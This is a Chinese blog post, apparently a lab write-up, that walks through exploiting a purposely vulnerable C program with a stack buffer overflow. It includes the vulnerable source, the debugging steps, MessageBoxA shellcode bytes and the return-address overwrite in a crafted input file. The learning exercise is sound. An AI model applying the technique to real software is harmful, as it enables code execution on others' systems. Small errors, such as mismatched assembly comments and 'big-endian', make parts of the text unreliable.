avatar

目录
有趣的二进制(栈溢出弹窗)

前言

上一篇文章中,通过栈溢出对EIP地址进行冲刷,修改返回地址,达到弹出记事本的效果。

由于上次那个操作,有点过于自慰,怎么说了,就是只能在本地测试,因为弹出记事本的地址是在代码里的,如果测试别人的程序,那没可能在别人程序里写一段东西进去,最多在OD里,找一块空的内存空间,然后jmp过去,达到hook的效果。

当时就一直在想,能不能找一个静态地址,或者说是万能地址,可以在别的机器上实现效果,但是当时一直没找到好的法子。

正文

查找函数地址

通过阅读学习,了解到可以通过软件查看WindowsDLL函数地址的方式,书上推荐depends软件,这款软件方便是方便,但是不支持win10系统

后面通过搜索到还有两软件可以使用dllexp,Viewdll

dllexp可以查看全系统函数的地址,也可以单独查看单独链接库的函数地址

ViewDLL是托软件进去查看,不过不太方便,实用性不高

通过dllexp查看user32.dll链接库中MessageBoxA函数的地址

函数地址找到了0x69e82130尽量别选则有00字节的,因为00字节有截断符号的意思,所以如果有00时候要改写成30处理,接下来就是通过编写汇编代码来实现弹窗功能。


冲刷EIP

实验原理:

  1. 写入过多的字节使程序溢出,分析返回地址
  2. password.txt中写入可执行的机器代码,用来调用API弹出一个消息框

buffer由原来的8字节增加到了44字节,这样子方便植入代码来调用MessageBox

c++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibraryA("user32.dll");
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}

分析程序漏洞

将程序生成的可执行文件拖入Ollydbg,在strcpy函数处下断,运行一次,断到这里

右下角堆栈窗口处,跟踪buffer的地址,就是这个数值

跳转过来后,锁定堆栈,这时可以F8跟下去

当跟到retn的位置,这时观察右下角堆栈窗口处处于什么位置

可以看到,此时EIP被冲刷掉,写入的字节也多了一串4321。所以这时候就可以知道了程序漏洞字节数164321

此时已经清楚了漏洞字节,所以现在只需要写出可执行弹窗的机器代码,就可以实现栈溢出弹窗。


弹窗机器代码

根据书本提供的弹窗的机器代码

Code
1
2
3
4
5
6
7
8
9
10
11
12
33DB                   XOR EBX, EBX//ebx清零
53 PUSH EBX
68 77657374 PUSH 0x4b4b4b4b//元素入栈
68 6661696C PUSH 0x4b4b4b4b//元素入栈
8BC4 MOV EAX, ESP//将栈顶指针赋值给eax
53 PUSH EBX//MessageBox函数需要四个参数
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 3021E869 mov eax,0x69e82130//MessageBoxExA地址
FFD0 CALL EAX
33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 50 50 53 B8 30 21 E8 69 FF D0

机器代码的十六进制编码也整理出来了,这时就可以对password.txt进行改写

使用UltraEdit软件编辑password.txt

快捷键ctrl+H进行十六进制编辑,此时界面变成了这样,中间是十六进制编码,要对其进行改写操作。

34开始进行改写

33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 50 50 53 B8 30 21 E8 69 FF D0

此时机器代码已经全部写进去了,剩下的这些4321就要用90字节来改写

等到剩下六个字节时,这时就不能继续90,需要改写成buffer地址的入口61fab0,由于大顶机的缘故,需要逆序输入这个地址

最终效果为这样

此时再次运行程序会发现什么效果都没有,再次拖入od分析

此时可以看见,由于要进入的地址是61fab0但是由于字节问题,此时程序读到的是61faB090,所以需要在减少两个字节

当减少两个字节,此时程序正确返回到我们写入的地址,跟进去

此时可以看到这正是写入进去的机器代码,但是有一个问题,MessageBox的那串地址是以地址显示,而不是像👇图一样,是以函数名称显示。

此时尝试在程序内跳转此地址,无法跳转,这个地址是不存在的。所以弹窗无法实现。


WinApi永远滴神

此时我就非常疑惑了,我以为是这个函数地址不行,就将其余MessageBox的地址都尝试一遍,都无法跳转,就是不存在。但是这明明就是在我本机的User32.dll动态链接库上的函数地址,为什么无法读取了。

一开始我通过viewdll查看程序,发现程序没有加载user32.dll,用了各种LoadLibrary的版本来尝试加载user32.dll,但是通过软件查询都是没有找到。

在一个偶然的瞬间,在搜索LoadLibrary时候,发现一篇文章中,通过WinApi函数GerProcAddress来获取MessageBox的地址75c52100

c++
1
2
HINSTANCE LibHandle = LoadLibrary("user32");
LPTSTR ProcAddr=(LPTSTR)GetProcAddress(LibHandle,"MessageBoxA");

接着我直接在程序中使用asm函数来写汇编代码,将MessageBox的地址改成这个,成功弹窗。

这个地址,在电脑未重启时,都不会改变,所以此时只需要将password.txt的机器代码地址修改成这个地址,就能实现栈溢出弹窗


栈溢出弹窗

此时改写password.txt的机器代码,由于函数地址有0000的ASCII码为30

修改完成后,将程序重新拖入OD,跟进到自己写的机器代码中,此时就成功定位了MessageBoxExA的地址

再次点击运行,成功弹窗。


结尾

功夫不负有心人,因为这个地址,卡了两天,最后这个00的地址,也是费了一番功夫。

文章作者: KeyboArd
文章链接: https://www.wrpzkb.cn/byte3/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 KeyboArd's Blog
打赏
  • 微信
    微信
  • 支付寶
    支付寶

评论